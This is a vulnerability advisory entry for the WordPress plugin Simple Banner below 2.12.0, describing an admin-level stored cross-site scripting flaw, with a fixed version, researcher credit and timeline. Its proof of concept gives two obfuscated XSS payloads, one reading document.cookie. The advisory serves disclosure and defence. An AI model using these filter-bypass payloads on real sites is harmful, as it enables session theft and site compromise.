WordPress Plugin Vulnerabilities

Simple Banner < 2.12.0 - Admin+ Stored Cross Site Scripting

Description

The plugin does not properly sanitize its "Simple Banner Text" Settings allowing high privilege users to perform Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed.

Proof of Concept

Put the following payloads in the "Simple Banner Text" settings of the plugin:
 <a href="jav	ascript&colon;alert(document.cookie)">Firefox</a>
 <sc<script>ript>alert(/XSS/)</scr</script>ipt>

Then access the frontend to trigger the XSS

Affects Plugins

Fixed in 2.12.0

References

Classification

Type
XSS
CWE
CVSS

Miscellaneous

Original Researcher
Rohan Chaudhari
Submitter
Rohan Chaudhari
Verified
Yes

Timeline

Publicly Published
2022-07-26 (about 1 years ago)
Added
2022-07-26 (about 1 years ago)
Last Updated
2022-08-25 (about 1 years ago)

Other